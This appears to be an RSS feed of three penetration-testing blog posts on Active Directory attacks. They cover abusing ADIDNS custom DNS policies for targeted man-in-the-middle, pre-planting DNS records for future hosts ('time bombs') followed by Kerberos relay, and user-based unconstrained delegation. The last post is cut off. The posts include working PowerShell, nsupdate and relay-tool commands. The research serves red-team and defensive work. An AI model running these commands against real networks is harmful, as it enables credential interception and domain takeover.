<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Giulio Pierantoni on Medium]]></title>
        <description><![CDATA[Stories by Giulio Pierantoni on Medium]]></description>
        <link>https://medium.com/@offsecdeer?source=rss-27dad9470782------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*TlozwcIvME5czLVawfVjmw.png</url>
            <title>Stories by Giulio Pierantoni on Medium</title>
            <link>https://medium.com/@offsecdeer?source=rss-27dad9470782------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 22:28:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@offsecdeer/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DNS Server to Enterprise Admin: Exploiting ADIDNS Custom Policies]]></title>
            <link>https://medium.com/@offsecdeer/dns-server-to-enterprise-admin-exploiting-adidns-custom-policies-52d0ddfd8ee5?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/52d0ddfd8ee5</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Fri, 02 Oct 2026 00:29:19 GMT</pubDate>
            <atom:updated>2026-10-02T00:49:27.167Z</atom:updated>
            <content:encoded><![CDATA[<p>One of my favorite things about Active Directory is the sheer amount of obscure little features that can be misused by attackers. I have now been toying with and researching strange little ADIDNS features for a while, and I found one that in some very specific situations could be exploited by a half-privileged attacker to intercept credentials and relay traffic.</p><p>The modification of ADIDNS records to achieve MITM is a known technique. The usual scenarios where this can be done are:</p><ul><li>the main DNS zone has insecure dynamic updates enabled (far more common than it should be)</li><li>the machine account linked to the target DNS record has been compromised</li><li>a domain admin account has been compromised</li><li>a member of the DNSAdmins group has been compromised</li></ul><p>By replacing the IP address contained in A ADIDNS records we force every device trying to contact a host to go through the attacker. This can be useful for traffic capture and relay attacks, but there are two downsides to this approach.</p><p>First, depending on the host we are targeting we could be intercepting and slowing down a considerable amount of traffic: take a file server or a DC in a medium sized domain, our malicious computer will suddenly be contacted by every device that tries to contact our target (save for those who already have the actual IP address in their DNS cache, which will eventually expire anyway). If we don’t employ redirectors all these devices will fail to contact the computer, which is obviously undesirable, especially if we are targeting a DC. Even with a redirector in place we’ll be slowing down the network considerably.</p><p>Second, domain computers regularly check if their A records are up to date, if they find an IP address different than theirs they perform a dynamic DNS (DDNS) update to undo our change. If we don’t monitor the record we might miss out on important traffic.</p><p><strong>ADIDNS Custom Policies 101</strong></p><p>There is an alternative method that I don’t think has been covered before, useful if we happen to be local admin of ANY DNS server (not necessarily a DC), to achieve a fine-tuned MITM using a pretty obscure feature: Active Directory DNS policies. This method bypasses dynamic updates and allows us to only intercept the traffic of very specific domain hosts, instead of the whole network, while only intercepting the DNS queries we are interested in and leaving the rest untouched.</p><p>DNS policies can be set up to introduce conditional resolution rules: we provide a condition to meet, like the source IP matching a specific subnet, and create a “zone scope” where proxy records are created to return IP addresses that differ from the value of the same record in the main domain zone. Resolution requests meeting the policy condition will receive answers from the zone scope, everyone else will be completely unaffected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VnBrvxEHBYi3kgQ5u-I7dg.png" /></figure><p>We should exploit custom ADIDNS policies to only intercept the traffic of a small set of targets, maybe even a single host like the workstation of a domain admin, creating a policy that gets matched based on the source address and providing a /32 mask with our target’s IP as the network address, this way only our target will match the rule and every other domain host won’t have their traffic altered in any way.</p><p>In order to create ADIDNS policies we must be local admin of any one DNS server, although we need to keep in mind that policies are not AD objects so they won’t be applied to the other servers. Instead, each DNS server has individual policies that are only evaluated when clients contact that same server.</p><p>Large domains are likely to have one or more dedicated ADIDNS servers that aren’t already domain controllers, so it is very possible to become local admin of one of these without escalating to domain admin. In this scenario we could create malicious policies on the DNS server we control, allowing us to manipulate the traffic of every host that uses our controlled server for name resolution.</p><p>If we are domain admins we might still be interested in custom policies if we want a way to intercept traffic to and from specific addresses without executing malicious code on any domain computer. There are also scenarios where this could allow a domain admin to escalate to enterprise admin, as we’ll see later.</p><p><strong>Exploitation Steps</strong></p><p>We can use the PowerShell cmdlets that are automatically installed on AD DNS servers, first we define the target subnet:</p><pre>Add-DnsServerClientSubnet -Name &quot;VictimSubnet&quot; -IPv4Subnet &quot;192.168.0.22/32&quot;</pre><p>Then we create a zone scope, this is where our proxy records will reside and we create it inside the main domain zone:</p><pre>Add-DnsServerZoneScope -ZoneName &quot;test.local&quot; -Name &quot;VictimScope&quot;</pre><p>Now we add one or more A records inside the scope, they must have the same name of the computers we wish to intercept the traffic for, like a commonly used web/file server, or even a DC, and its value is the IP of a host we control:</p><pre>Add-DnsServerResourceRecord -ZoneName &quot;test.local&quot; -A -Name &quot;SRVX&quot; -IPv4Address &quot;192.168.0.177&quot; -ZoneScope &quot;VictimScope&quot;</pre><p>What we have done is we have added a scope container and then a proxy record under the container <em>ZoneScopeContainer</em>, found under the root of the target zone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*x3ZUksc_Pu7N09-MYb4n6g.png" /></figure><p>Finally we create the policy itself, it’s an ALLOW policy that is to be applied to any host that’s part of the subnet we previously created, and we point it to the scope containing the “evil” proxy records:</p><pre>Add-DnsServerQueryResolutionPolicy -Name &quot;EvilPolicy&quot; -Action ALLOW -ClientSubnet &quot;eq,VictimSubnet&quot; -ZoneScope &quot;VictimScope,1&quot; -ZoneName &quot;test.local&quot;</pre><p>And now we wait, capture, or relay. To clean up after we’re done we just launch the following:</p><pre>Remove-DnsServerQueryResolutionPolicy -Name &quot;EvilPolicy&quot; -ZoneName &quot;test.local&quot;<br>Remove-DnsServerResourceRecord -RRType A -ZoneName &quot;test.local&quot; -Name &quot;SRVX&quot; -ZoneScope &quot;VictimScope&quot;<br>Remove-DnsServerZoneScope -Name &quot;VictimScope&quot; -ZoneName &quot;test.local&quot;<br>Remove-DnsServerClientSubnet &quot;VictimSubnet&quot;</pre><p>If we just want to temporarily disable the policy and might need it later, we just run:</p><pre>Disable-DnsServerPolicy -Name &quot;EvilPolicy&quot; -ZoneName &quot;test.local&quot;</pre><p>Important note: if we are running these commands as a local user, like the DNS server default administrator, we need to add the<em> -ComputerName DC.TEST.LOCAL</em> parameter to every command except the call to <em>Add-DnsServerQueryResolutionPolicy</em>, since policies are stored only locally and not on the AD database.</p><p>Another note: we do not necessarily need to be logged onto the DNS server we compromised to run these commands, just install the <em>RSAT: DNS Server Tools</em> optional package and add the <em>-ComputerName</em> flag to the commands like said above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*KmdNjggK60pijU0KMWbP-Q.png" /></figure><p><strong>Practical Considerations and Limitations</strong></p><p>There are several limitations that make this technique hard to exploit. For starters, you need to be lucky enough to compromise a standalone Microsoft DNS server. It is by no means impossible, here are just a few ways this can happen:</p><ul><li>LAPS is not employed in the domain and the local administrator shares the password with one we found before</li><li>the DACL of a user we compromised make it possible to set up RBCD or shadow credentials over the DNS server machine account</li><li>lucky admin-provided SMB relay since standalone DNS Servers do not have SMB signing by default at least until Windows Server 2025</li></ul><p>The essential part of this attack is that we are local administrators of a DNS server (either as a local or a domain user) which we can reasonably expect our target is going to contact. If we already are domain admins we can simply look at the DNS configuration of the target host to see which server is assigned to it, or, if we have a device close to the target in the network maybe we can simply shoot out a DHCP query. Having the right DNS server is essential because policies are server-specific and stored locally, not on AD.</p><p>It is important to note that DNSAdmins do not have the necessary permissions to carry out the attack, unless you are willing to try the old “DNSAdmins to domain admin” code execution trick, which has been patched and is prone to crashing the DNS service on the DC anyway.</p><p>The ideal targets for the subnet are obviously users with high privileges, meanwhile the proxy records we may want to create depend on our final goal: if we want a quick way to escalate permissions an often used intranet web application is the ideal target, as the HTTP authentication will make it possible to cause an LDAP relay if at least a DC doesn’t have both LDAP signing and channel binding enabled.</p><p>Alternatively, we can look for the sessions of domain admins who appear to have older password. In such a case any commonly used domain host, like a file or document server should work well, especially if logon scripts automatically mount shares for a user, which is something we can easily check through BloodHound, which luckily collects the <em>logonscript </em>attribute allowing us to look into if any hijackable actions take place during the logon process (also check out my colleague<a href="https://marcozufferli.com/posts/introducing_scripscouttransforming_smooth_ad_automation_scripts_into_attack_vectors/"> Marco Zufferli’s blog</a> for interesting ways to exploit logon/logoff scripts in general).</p><p>Another common exploitable configuration is one I see quite often: intranet web portals automatically opening on logon. The web server hosting these applications make for perfect targets for our proxy records and allow for easy LDAP relays. The original web app doesn’t even need to support NTLM authentication, the authentication request is automatically handled by ntlmrleayx and the Windows HTTP client.</p><p><strong>Malicious ADIDNS Policies in Action</strong></p><p>Alright enough walls of text. This is the situation:</p><ul><li>DEERCA: 192.168.0.34</li><li>PC-ADMIN: 192.168.0.35</li><li>Attacker: 192.168.0.9</li></ul><p>Let’s say you want to intercept the traffic PC-ADMIN sends to DEERCA, once all the commands are run this is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sr1K_oLpM5oXQlEV-M_1Sg.png" /></figure><p>Any time PC-ADMIN tries to contact DEERCA it will instead contact the attacker’s host, meanwhile, any other domain host, like the one on the right in the screenshot, will keep receiving the right IP address. The attacker has now established a MITM with a specific host without touching the DNS configuration of the whole domain.</p><p><strong>More Interesting: Subdomain to Root Domain Escalation</strong></p><p>In the right conditions this attack can allow you to cross the trust boundaries and become king of the forest. You’ll need to either be a subdomain domain admin or control a DNS server used by a computer where an enterprise admin sometimes logs on to.</p><p>Exploitation steps are identical, but if we want an easy way to elevate ourselves to enterprise admin we should set up an LDAP relay pointed to a DC in the root domain, and provoke an HTTP authentication request.</p><p>Let’s take the previously mentioned example of an internal web portal automatically opening whenever someone logs in, it would look something like this (no I didn’t code an actual portal for this PoC I suck at web stuff):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*lhN1Vs5eVv-1oGVWME1UNw.png" /></figure><p>When anyone logs on to PC1.SUB.DEER.LOCAL the browser opens the app at DEVSRV1.SUB.DEER.LOCAL. The image above also shows that the user here is an enterprise admin, our perfect target. And if we know that our target enterprise admin logs onto a specific machine but there is no logon web portal appearing… we can just plant it ourselves in the Startup folder if we are domain admins!</p><p>And if we already are administrators of this subdomain nothing stops us from launching the attack directly from the main DC of the child domain:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xxD8Or4ewKh0As1ozp8C0A.png" /></figure><p>Next time the enterprise admin logs in he won’t be able to access the portal, but we’ll receive an LDAP shell with his account on the root domain DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xo23scBJZ-gLfpHYj-WrKw.png" /></figure><p><strong>Why Do This Though?</strong></p><p>On most engagements there will certainly be much simpler and more reliable methods to escalate privileges, but I love finding ways to use Active Directory features against the domain itself, this is an obscure method to modify the flow of traffic and achieve a MITM using only Microsoft-supplied features and cmdlets, allowing us to harvest credentials and launch relays without the aid of known malicious software, pretty much Living Off The Land if you exclude the need of a box to intercept the incoming sessions.</p><p>At the end of the day this was just an excuse for me to play around with weird little ADIDNS features, in the hope it might be useful to someone in a situation like this. More of that should come in the future as I keep exploring ADIDNS. Hopefully before another year passes.</p><p><strong>References</strong></p><ul><li><a href="https://learn.microsoft.com/en-us/windows-server/networking/dns/deploy/dns-policies-overview">https://learn.microsoft.com/en-us/windows-server/networking/dns/deploy/dns-policies-overview</a></li><li><a href="https://winprotocoldoc.z19.web.core.windows.net/MS-DNSP/%5bMS-DNSP%5d.pdf">https://winprotocoldoc.z19.web.core.windows.net/MS-DNSP/%5bMS-DNSP%5d.pdf</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52d0ddfd8ee5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ADIDNS Time Bombs: Poison Today, Relay Tomorrow]]></title>
            <link>https://medium.com/@offsecdeer/adidns-time-bombs-poison-today-relay-tomorrow-c224934eefa6?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/c224934eefa6</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Fri, 29 Aug 2025 15:53:17 GMT</pubDate>
            <atom:updated>2025-08-29T15:53:17.780Z</atom:updated>
            <content:encoded><![CDATA[<p>Predictable hostnames can be exploited with malicious ADIDNS records to take control of hosts added to the domain at a later date. This is made possible by the default permissions every domain user has over the creation of arbitrary DNS records and the way these records translate to dnsNode objects. I am calling these ADIDNS time bombs because the malicious records will sit in the directory indefinitely, granting the attacker full control of the target computer’s A record as soon as it joins the domain.</p><h3>Concept</h3><p>I was reading Kevin Robertson’s <a href="https://www.netspi.com/blog/technical-blog/network-pentesting/exploiting-adidns/">first article on ADIDNS</a> when one small detail got the cogs spinning in my head: ADIDNS records are stored as dnsNode objects which get grouped by name rather than type. If you have three DNS records of the same name but of types A, MX, and NS, this results in a single dnsNode with three entries in its dnsRecord attribute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Scfd75pZYu6swLhZaUPzng.png" /></figure><p>The owner of a dnsNode is usually its creator, and by default only the creator itself, domain and DNS admins have permissions to modify the node with all its records, as they all share the same DACL. The creator of a brand new dnsNode doesn’t have full control, but almost: they can change the node’s owner and DACL, as well as all the important attributes for objects of this kind.</p><p>These factors introduce the possibility of injecting malicious records with the name of hosts you think are going to be added to the domain in the near future: say for example you ran BloodHound and among the machine accounts you see names like these:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*vfijFFegL-iriLuxQyEn6A.png" /></figure><p>These names are predictable, incremental numbers, employee names, and so on. You could use this information to create one or more malicious ADIDNS records with names that follow this pattern, giving yourself full control over the A record of the future machines before they even exist, thus establishing a MITM position and taking over the computers with techniques like <a href="https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/">AP-REQ relays</a>:</p><ul><li>identify predictable hostnames</li><li>register one or more non-A records using the predictable names (eg: TXT)</li><li>adjust dnsNode DACL to allow the computer to add its address</li><li>wait for the target to join by monitoring the directory</li><li>poison the A record with attacker’s IP</li><li>enjoy the kerberos relays!</li></ul><p>The attack obviously requires time patience and some luck, but I thought it was a neat little trick to exploit the very mechanics of ADIDNS.</p><p>Pre-created machine accounts are another source of possible time bomb targets: look for recently added machine accounts without an A record and with no logon recorded in their lastlogontimestamp attribute, these might be computers that the administrators will be joining soon. This technique could also be effective in the hands of a disgruntled employee, anyone with access to the names of new staff before their computers are in the domain, or someone with knowledge of planned infrastructure additions, like a new web server to be deployed in the next few days.</p><h3>Creating Malicious Records</h3><p>On Linux we can combine the krb5-user kerberos client with <a href="https://linux.die.net/man/8/nsupdate">nsupdate</a>, a tool we find built onto many Linux distros which allows us to craft very specific DDNS requests. I have frequently shown dnstool.py from <a href="https://github.com/dirkjanm/krbrelayx">krbrelayx</a> to create and modify DNS records, but as of now only A records are supported and that’s exactly the record we need to avoid for this attack.</p><p>After setting up krb5-user we request a TGT:</p><pre>kinit amico@TEST.LOCAL</pre><p>With klist we can double check the presence of a valid ticket. Now we can send an authenticated DDNS with nsupdate, this is possible thanks to its gsstsig command: to make it short, GSS-TSIG allows us to make authenticated DDNS (Dynamic DNS) updates over kerberos, so gsstsig picks up the TGT in our cache and uses it.</p><p>To make it long, if you’re interested, GSS-TSIG (Generic Security Service Algorithm for Secret Key Transaction) is a protocol combining GSSAPI (Generic Security Service Application Programming Interface) and TKEY to protect DDNS with kerberos authentication. GSSAPI is an API used to add an authentication layer to other protocols, allowing developers to create secure protocols on top of existing authentication implementations. Another API you almost always see mentioned in conjunction with GSSAPI is SPNEGO (Simple and Protected GSSAPI Negotiation Mechanism), which is used to negotiate the authentication method to use with GSSAPI. Windows uses SPNEGO to determine whether to use NTLM or kerberos. Finally, TSIG (Transaction Signature) is the protocol DDNS uses for authenticated requests, such as ADIDNS “secure dynamic updates”.</p><p>We also specify the target DNS server and zone, which usually will be the main one, but DNS zone enumeration should be performed to tell exactly where our predictable records are stored, because creating two records with the same name in different zones can have unpredictable results and could impact the host’s availability. <a href="https://github.com/dirkjanm/adidnsdump">adidnsdump</a> for example creates a CSV with every found record and can list DNS zones, as well as look for them in all three possible containers (DomainDnsZones, ForestDnsZones, or System).</p><p>With update add we provide record name, TTL, type and value. Any type other than A or AAAA should work, just make sure you provide a value that is valid for the selected type. For simplicity I use TXT. send submits the request.</p><pre>gsstsig<br>server dc.test.local<br>zone test.local<br>update add srv6.test.local 86400 TXT abcdefghi<br>send</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*IFi0-882-NFg7P1DAjLcKQ.png" /></figure><p>As an alternative we can use a tool I’ll talk more about later, <a href="https://github.com/Macmod/godap">godap</a>. Bind to the DC, go to the ADIDNS tab, select the target zone and press Ctrl + N to add a record.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gu1p9jKDpSB_n68MBK2bcg.png" /></figure><h3>Tweaking The Node DACL</h3><p>We can verify that the record was indeed created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ac-u1eoHRn_xiaTKu6X6Zw.png" /></figure><p>Our user, amico, is its owner and has write rights on it as well as special permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*ftm8-KNunDWbkvsX9mczRw.png" /></figure><p>The dnsNode was created and our malicious record is in place, but there is a problem: with this default DACL the machine account of the brand new computer will be unable to create its own A record, specifically because the DACL only put the attacker in control of the node, and any other record type of that name will be subjected to the attacker’s DACL, allowing only privileged users to create further records: if the target was to join the domain in these conditions no one would be able to reach it with DNS.</p><p>This is where our special permissions come into play, because conveniently we have both WriteOwner and WriteDacl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*vPCikTBpAadHg3KFFjomTA.png" /></figure><p>We can add an ACE giving other users write rights as well, this way the A record can be appended to our node’s dnsRecord while retaining complete control over the node, and therefore over the new records too. We still need to be careful though, granting GenericAll or GenericWrite rights will actually break the attack.</p><p>After boot Windows will attempt to resolve its own hostname, if it does not receive an IP or if the address is outdated it will attempt to create a new record or replace the old one, using its machine account. If this account has full write rights on the record the node’s DACL is replaced with a new one, where the machine account is the new owner and sole controller, getting rid of the attacker’s ACE even though it was the original creator.</p><p>I found that to avoid this we can use WriteProperty, which limits modifications to only specific attributes. In my tests this is enough to allow domain hosts to create and consistently update their A record while keeping the attacker as the owner.</p><p>On Windows <a href="https://github.com/Kevin-Robertson/Powermad">Powermad</a> has a cmdlet to change a node’s DACL:</p><pre>Grant-ADIDNSPermission -Node SRV6 -Principal &quot;Authenticated Users&quot; -Access WriteProperty</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NBsiq1GRKnoHv1Trlat3_g.png" /></figure><p>Now the future machine account can create its record without us losing access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0t39mh0_yQJpEu9hkf5WA.png" /></figure><p>The main Linux tools with DACL edit features would not work with DNS records. Impacket’s dacledit and <a href="https://github.com/CravateRouge/bloodyAD">bloody-AD</a> do not support the WriteProperty right, while <a href="https://github.com/PShlyundin/ldap_shell">ldap_shell</a> does but none of these three tools can even find the records, probably because they are stored in partitions that aren’t automatically searched by default, like DnsDomainZones. In order to search these containers you need to set their DN as the search base, but the tools above don’t allow it.</p><p><a href="https://github.com/Macmod/godap">godap</a> solves all these issues: it can explore and play with pretty much everything LDAP can do, we can browse the entire directory, create or modify objects and their DACL at will, and it even parses ADIDNS records and GPOs. Plus, it’s written in Go so it runs on Windows too.</p><p>As I mentioned the containers of ADIDNS data aren’t found by queries with the domain root as base DN, so we specify the right container to use as root:</p><pre>godap 192.168.0.100 -u amico@test.local -p &#39;AAAAaaaa!1&#39; -r &#39;DC=DomainDnsZones,DC=test,DC=local&#39;</pre><p>For some reason this tree view has trouble reading the names of some of the objects contained here, but you can still see the selected object’s name from the Attributes panel. Traverse the DNS hierarchy by expanding MicrosoftDNS and then the target zone name, where we find the exploitable record.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9F_eRTpI50ddBCLmIPqrA.png" /></figure><p>With the record selected we open its DACL with Ctrl + D, and then Ctrl + N to add a new ACE. Here we type the name of the principal we want to give access to, like Domain Computers, and press enter to let godap obtain the trustee’s SID, which will appear on the bottom right. Select Allow as Type and double click on Write all properties, and Create.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*CS6ox9015H1sWL0gtFQ8aA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*neaKJlQm8Y6dtmKy0TYMKg.png" /></figure><p>Since our target is a computer that still doesn’t exist we can’t add an ACE for it, we have to use a group we know it will be a part of so that it automatically inherits these privileges on creation. If we use a group like Domain Computers or Authenticated Users we should make sure to clean up the DACL at the end of the assessment, so that we do not leave exploitable DNS records up for grabs.</p><p>Now let’s add a real computer to the domain with the name SRV6:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*VhxnTY9n7x0sHvm-stsa3A.png" /></figure><p>We see the A record is created successfully, and the DACL is identical to the TXT record we made ourselves:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t-DajoIRZLvRJ1PPOGqK7A.png" /></figure><p>The node’s dnsRecord now has two entries:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*psxyLx6FerZRURZazRbXBg.png" /></figure><h3>We Wait…</h3><p>Once we have the malicious record set up we need to known when the computer is added to the domain so that we can launch the attack. The easiest way would probably be to regularly poll the dnsNode, monitoring its attributes for any changes. Alternatively we can use <a href="https://learn.microsoft.com/en-us/windows/win32/ad/change-notifications-in-active-directory-domain-services">change notifications</a>: LDAP clients can use asynchronous requests to receive instant notifications in the event of a change to a target DN, this system doesn’t involve polling and should be more accurate because every change triggers a notification, with the client receiving a list of desired attributes with each notification. Of course this only works as long as the LDAP session is open.</p><p>In .NET these requests are implemented in <a href="https://www.nuget.org/packages/System.DirectoryServices.Protocols/">System.DirectoryServices.Protocols</a>, so for fun I used <a href="https://web.archive.org/web/20160306072504/http://dunnry.com/blog/ImplementingChangeNotificationsInNET.aspx">this example</a> as a base for a dumb little tool that monitors a dnsNode for new A records, which you can find on <a href="https://github.com/OffsecDeer/MonitorADIDNS">my GitHub</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*VeAjFFlXxTsofqGs9X4DEQ.png" /></figure><p>This is obviously a little experiment and not proper offensive tooling, I discovered a new feature and wanted to play with it. Change notification requests should also be part of <a href="https://www.python-ldap.org/en/python-ldap-3.3.0/reference/ldap-controls.html">python-ldap</a> supported extended controls. Or, if you’re not in a hurry, just run a query every now and then. In one way or the other, we gotta wait.</p><h3>… And Relay!</h3><p>Great, turns out we were right and a computer with the hostname we picked was actually joined to the domain! We can replace its legitimate IP with ours, causing every client connecting to SRV6 to reach out to us instead:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*BTK1nFAm7SibW7Uxjv2gAg.png" /></figure><p>We are now in a MITM position and we control all the traffic sent to our vicitm. If signing isn’t enforced this is the perfect occasion to attempt kerberos relays, especially if the host has just been added to the domain, we could reasonably expect some administrators to connect to it pretty soon to finalize the installation, allowing us complete control over the computer.</p><p>Right now the best tool for SMB AP-REQ relays is <a href="https://github.com/decoder-it/KrbRelayEx">KrbRelayEx</a>, it allows us to obtain a relay while also redirecting all legitimate connection attempts to the real host’s IP so that clients can still work on the target during the attack, as without this step we would be causing a DoS. We can even run it on Linux after installing the .NET 8.0 runtime.</p><pre>sudo dotnet KrbRelayEx.dll -spn cifs/srv6.test.local -secrets -redirecthost 192.168.0.99 -redirectports 5985,3389,135</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AxhoPlOhRBR1MA3eM4Sw5w.png" /></figure><p>KrbRelayEx will intercept SMB authentication over kerberos, but a variant for relaying RPC authentication also exists, <a href="https://github.com/decoder-it/KrbRelayEx-RPC">KrbRelayEx-RPC</a>. Both tools are written by Andrea Pierini, who also wrote a <a href="https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/">great article</a> to understand the basics of these relays.</p><h3>Conclusion</h3><p>This little trick should be one more reason to think about removing the default permissions allowing literally anyone to create arbitrary DNS records and enforcing signing, the only true defense against relays.</p><p>One consideration: when modifying existing A records you should keep in mind that machine accounts will eventually notice the modified A record and update it, so you should regularly check the value of the modified record to see if it was refreshed, and restore the record to its original IP when you’re done.</p><p>ADIDNS is a quite fascinating target for AD attacks, so far research has mostly been focused around wildcard records but I am sure there is a lot more to uncover, this strange technique being just one example.</p><p><strong>References</strong></p><ul><li><a href="https://www.netspi.com/blog/technical-blog/network-pentesting/exploiting-adidns/">https://www.netspi.com/blog/technical-blog/network-pentesting/exploiting-adidns/</a></li><li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961412(v=technet.10)">https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961412(v=technet.10)</a></li><li><a href="https://learn.microsoft.com/en-us/windows-server/networking/dns/dynamic-update">https://learn.microsoft.com/en-us/windows-server/networking/dns/dynamic-update</a></li><li><a href="https://linux.die.net/man/8/nsupdate">https://linux.die.net/man/8/nsupdate</a></li><li><a href="https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/">https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/</a></li><li><a href="https://learn.microsoft.com/en-us/windows/win32/ad/change-notifications-in-active-directory-domain-services">https://learn.microsoft.com/en-us/windows/win32/ad/change-notifications-in-active-directory-domain-services</a></li><li><a href="https://web.archive.org/web/20160306072504/http://dunnry.com/blog/ImplementingChangeNotificationsInNET.aspx">https://web.archive.org/web/20160306072504/http://dunnry.com/blog/ImplementingChangeNotificationsInNET.aspx</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c224934eefa6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[User-Based Unconstrained Delegation and SPN-jacking]]></title>
            <link>https://medium.com/@offsecdeer/user-based-unconstrained-delegation-and-spn-jacking-29b916d1ff25?source=rss-27dad9470782------2</link>
            <guid isPermaLink="false">https://medium.com/p/29b916d1ff25</guid>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Giulio Pierantoni]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 17:00:56 GMT</pubDate>
            <atom:updated>2025-07-31T13:11:05.534Z</atom:updated>
            <content:encoded><![CDATA[<p>Alternative title: ranting too much about rare unconstrained delegation cases.</p><p>We all know unconstrained delegation, but little has been written about user accounts with delegation enabled, usually people bring up exclusively machine accounts because they are far more common, and only brief mentions are made of user-based attacks. I have recently run into this situation twice in a row and it turns out user-based delegation attacks are challenging without additional permissions for multiple reasons, so I thought it would be useful to have a resource where the limits of this technique are explained, perhaps in too much detail.</p><p>During the assessment I had access to TEST.LOCAL, where srv_a had a few SPNs and was configured for unconstrained delegation. TEST.LOCAL was also linked to DOMAINB.LOCAL with a bidirectional forest trust. I recreated this situation in my lab, in BloodHound it looked something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_-8lK7gh0dzppklLO0pg_A.png" /><figcaption>The trust relationships will become important later</figcaption></figure><p>Unlike in most unconstrained delegation scenarios the service account is a user, not a computer. Normally we would have two paths: the first is becoming local admin of a computer with unconstrained delegation, target a privileged user or computer with a coercion technique, and extract their TGT from memory. The requirements are being able to execute code on the host and bypass any EDR/XDR on it in order to run mimikatz, rubeus, etc. This is obviously impossible since we have a user account.</p><p>Option B is doing everything from the network thanks to techniques like <a href="https://www.netspi.com/blog/technical-blog/network-pentesting/exploiting-adidns/">ADIDNS poisoning</a> if we can create DNS records, or LLMNR/NBT-NS poisoning and <a href="https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/">DHCPv6 spoofing</a> if we can’t. If we combine these with the possibility of adding a new SPN to our unconstrained delegation account we can register an SPN pointing to a hostname that resolves to us, like our kali box, and use coercion to force the victim to send us its TGT. <a href="https://github.com/dirkjanm/krbrelayx">krbrelayx</a> captures the TGT and uses it to execute commands, dump SAM, etc. This bypasses the first option’s requirements, and I found it very useful to exploit delegation-enabled computers that had been decommissioned but their accounts hadn’t been deleted.</p><p>When we have a user account with unconstrained delegation we have the problem that we cannot modify our own servicePricipalName, while computers can. This is because machine accounts have two ACEs permitting write access to the servicePricipalName and msDS-AdditionalDnsHostName 